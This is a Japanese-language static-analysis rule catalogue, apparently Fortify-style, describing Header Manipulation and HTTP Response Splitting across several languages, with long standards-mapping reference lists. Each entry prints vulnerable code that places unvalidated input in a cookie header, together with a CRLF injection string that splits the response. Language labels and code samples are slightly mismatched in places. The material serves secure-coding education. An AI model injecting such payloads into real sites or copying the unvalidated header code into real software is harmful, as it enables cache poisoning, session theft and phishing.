[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.apex.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーおよびフレームワークの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Microsoft .NET フレームワークの最新のバージョンでは、HttpResponse.AddHeader() メソッドに送信されるときに、CR、LF、および NULL 文字が %0d、%0a、および %00 に変換されます。最新の .NET フレームワークを使用しており、改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではない可能性があります。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコード セグメントは、Web ログのエントリの作成者名 author を HTTP リクエストから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


protected System.Web.UI.WebControls.TextBox Author;
...
string author = Author.Text;
Cookie cookie = new Cookie("author", author);
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、Author.Text として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュ ポイズニング: 悪意により構成されたレスポンスが、複数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザ キャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープン リダイレクト: リダイレクトで使用される URL を未検証の入力で制御することができる場合、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.dotnet.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、またはページ乗っ取り攻撃が発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、HTTP リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーに、悪意のある文字についてデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を HTML フォームから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


...
EXEC CICS
WEB READ
FORMFIELD(NAME)
VALUE(AUTHOR)
...
END-EXEC.

EXEC CICS
WEB WRITE
HTTPHEADER(COOKIE)
VALUE(AUTHOR)
...
END-EXEC.
...


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1.1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

キャッシュポイズニング: 悪意により構成されたレスポンスが、多数のユーザーが使用する Web キャッシュ、または 1 人のユーザーのブラウザキャッシュに保存されると、被害が拡大することがあります。レスポンスが、一般にプロキシサーバーに見られるような共有 Web キャッシュに保存されると、キャッシュエントリが消去されるまで、そのキャッシュを使用するすべてのユーザーが、悪意あるコンテンツを継続して受け取ります。同様に、個別のユーザーのブラウザキャッシュにレスポンスが保存される場合も、キャッシュエントリが消去されるまでそのユーザーは悪意あるコンテンツを継続して受け取り、ローカルのブラウザインスタンスのユーザーが被害に遭うことになります。

Cross-Site Scripting: アプリケーションから送信されるレスポンスを支配下に置いた攻撃者は、悪意あるさまざまなコンテンツをユーザーに提供できます。Cross-Site Scripting は一般的な攻撃形態で、レスポンスに含まれる悪意ある JavaScript などのコードがユーザーのブラウザーで実行されます。XSS に基づく攻撃の種類はほぼ無限にあります。一般的には、cookie などの個人情報やその他のセッション情報を攻撃者に送信したり、攻撃者の制御下にある Web コンテンツに被害者をリダイレクトしたり、脆弱性のあるサイトを装ってユーザーのマシン上で悪意ある操作を実行したりします。これは脆弱なアプリケーションのユーザーに対する最も一般的で危険な攻撃手段で、JavaScript を使用してセッション情報や Authentication 情報を攻撃者に送信し、攻撃対象のアカウントを完全に支配下に置きます。

ページ乗っ取り攻撃: 脆弱なアプリケーションを使用して悪意あるコンテンツをユーザーに送信するほか、このルート脆弱性を利用して、サーバーによって生成されたユーザー向けの機密性が高いコンテンツを攻撃者にリダイレクトすることもあります。攻撃者は、サーバーからの意図どおりのレスポンスと、攻撃者によって生成されたレスポンスの 2 つのレスポンスを生成させるリクエストを送信することで、サーバーにより生成されたレスポンスをユーザーではなく攻撃者に送信するよう共有プロキシ サーバーなどの中間ノードを操作する可能性があります。攻撃者により作成されたリクエストが 2 つのレスポンスを生成するため、最初のレスポンスは攻撃者のリクエストへのレスポンスとして解釈されますが、2 番目のレスポンスには行き先がありません。ユーザーが同一の TCP 接続を通して正しいリクエストをすると、待機していた攻撃者のリクエストが本来のユーザーのリクエストに対するレスポンスと解釈されます。続いて攻撃者は第 2 のリクエストを送信します。プロキシサーバーは本来のユーザーのためにサーバーが生成したリクエストを使用してそれにレスポンスするため、このユーザー向けのレスポンスのヘッダーやボディに含まれる機密情報が漏洩します。

Cookie の不正操作: クロスサイト リクエスト フォージェリのような攻撃が同時に行われると、正規ユーザーの cookie が変更、追加、または上書きされる可能性があります。

オープンリダイレクト: 入力が検証されないため、リダイレクトで使用される URL が制御され、フィッシング攻撃に悪用される可能性があります。
References
[1] A. Klein Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics
[2] D. Crab HTTP Response Splitting
[3] Standards Mapping - CIS Azure Kubernetes Service Benchmark 3.0
[4] Standards Mapping - CIS Microsoft Azure Foundations Benchmark partial
[5] Standards Mapping - CIS Amazon Elastic Kubernetes Service Benchmark 4.0
[6] Standards Mapping - CIS Amazon Web Services Foundations Benchmark 1
[7] Standards Mapping - CIS Google Kubernetes Engine Benchmark integrity
[8] Standards Mapping - CIS Kubernetes Benchmark partial
[9] Standards Mapping - Common Weakness Enumeration CWE ID 113
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[16] Standards Mapping - OWASP Top 10 2007 A2 Injection Flaws
[17] Standards Mapping - OWASP Top 10 2010 A1 Injection
[18] Standards Mapping - OWASP Top 10 2013 A1 Injection
[19] Standards Mapping - OWASP Top 10 2017 A1 Injection
[20] Standards Mapping - OWASP Top 10 2021 A03 Injection
[21] Standards Mapping - OWASP Mobile 2014 M8 Security Decisions Via Untrusted Inputs
[22] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[23] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CODE-4, MASVS-PLATFORM-1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.2
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.1
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[35] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[56] Standards Mapping - Web Application Security Consortium Version 2.00 HTTP Response Splitting (WASC-25)
[57] Standards Mapping - Web Application Security Consortium 24 + 2 HTTP Response Splitting
desc.dataflow.cobol.header_manipulation
Abstract
未検証のデータを HTTP レスポンスヘッダーに含めると、キャッシュポイズニング、Cross-Site Scripting、クロスユーザー改竄、ページ乗っ取り攻撃、cookieの不正操作、またはオープンリダイレクトが発生する可能性があります。
Explanation
Header Manipulation の脆弱性が発生するのは次の場合です。

1. 信頼されていないソース (多くの場合、Web リクエスト) からデータが Web アプリケーションに入り込んだ場合。

2. Web ユーザーに送信される HTTP レスポンスヘッダーにデータが検証せずに含まれている場合。

多くのソフトウェアセキュリティの脆弱性と同様、Header Manipulation は目的を達成するための手段であって、目的そのものではありません。基本的には、この脆弱性は単純なものです。攻撃者は脆弱なアプリケーションに悪意あるデータを渡し、アプリケーションがそのデータを HTTP レスポンスヘッダーに含めます。

Header Manipulation 攻撃で一般的に発生する攻撃の 1 つは、HTTP Response Splitting です。HTTP Response Splitting の悪用が成功するためには、ヘッダーへの CR (キャリッジリターン、%0d または \r とも表記します) 文字や LF (ラインフィード、%0a または \n とも表記します) 文字を含む入力がアプリケーションで許容されている必要があります。これらの文字を利用して攻撃者は、アプリケーションが送信するレスポンスのヘッダーのそれ以降の部分とボディを制御できるだけでなく、追加のレスポンスを思うままに作成することが可能です。

最近のアプリケーションサーバーの多くは、HTTP ヘッダーへの悪意ある文字の挿入を防ぐようになっています。たとえば、Apache Tomcat の最近のバージョンでは、禁止されている文字を含むヘッダーを設定しようとすると、IllegalArgumentException が発生します。使用しているアプリケーションサーバーが改行文字を含むヘッダーの設定を防ぐようになっている場合には、アプリケーションは HTTP Response Splitting に対して脆弱ではありません。しかし、改行文字だけを単にフィルタしても、アプリケーションは Cookie Manipulation (Cookie の不正操作) や Open Redirects (オープンリダイレクト) に対して脆弱なままとなります。そのため、ユーザー入力が関連する HTTP ヘッダーを設定するときには、注意が必要となります。

例: 次のコードセグメントは、ブログのエントリの作成者名 author を Web フォームから読み取り、HTTP レスポンスの cookie ヘッダーにセットします。


<cfcookie name = "author"
value = "#Form.author#"
expires = "NOW">


「Jane Smith」のような、標準的な英数字で構成されている文字列がリクエストで送信されたと仮定した場合、この cookie を含むHTTP レスポンスは次のような形式になります。


HTTP/1.1 200 OK
...
Set-Cookie: author=Jane Smith
...


ただし、cookie の値は未検証のユーザー入力から形成されているので、レスポンスがこの形態を維持するのは、AUTHOR_PARAM として送信された値に CR 文字や LF 文字が含まれていない場合だけです。攻撃者が「Wiley Hacker\r\nHTTP/1.1 200 OK\r\n...」といった悪意ある文字列を送信すると、HTTP レスポンスは、次のような 2 つのレスポンスに分割されます。


HTTP/1.1 200 OK
...
Set-Cookie: author=Wiley Hacker

HTTP/1/1 200 OK
...


2 番目のレスポンスは完全に攻撃者の支配下にあり、思うままのヘッダー内容やボディ内容で構成することができます。攻撃者は任意の HTTP レスポンスを構築できるため、クロスユーザー改竄、Web およびブラウザキャッシュポイズニング、Cross-Site Scripting およびページ乗っ取り攻撃などの様々な攻撃を許すことになります。

クロスユーザー改竄: 攻撃者は脆弱なサーバーに対して、2 つのレスポンスを作成させる単一のリクエストを行います。その 2 番目のレスポンスは、別のリクエスト、おそらくはサーバーとの TCP 接続を共有している別のユーザーが行ったリクエストに対する回答と誤って解釈される可能性があります。この攻撃は、攻撃者とユーザーがサーバー (共通のプロキシサーバーなど) との TCP 接続を共有している状況で、悪意あるリクエストをユーザー自身で、またはリモートから送信するよう誘導します。最も良心的な場合でも、攻撃者はこの能力を活用して、ユーザーにアプリケーションがハッキングされていると思わせ、アプリケーションのセキュリティに対する信頼を失わせる可能性があります。最悪の場合、攻撃者はアプリケーションの動作を模倣し、口座番号やパスワードなどの個人情報を攻撃者にリダイレクトするよう設計されたコンテンツを用意しています。

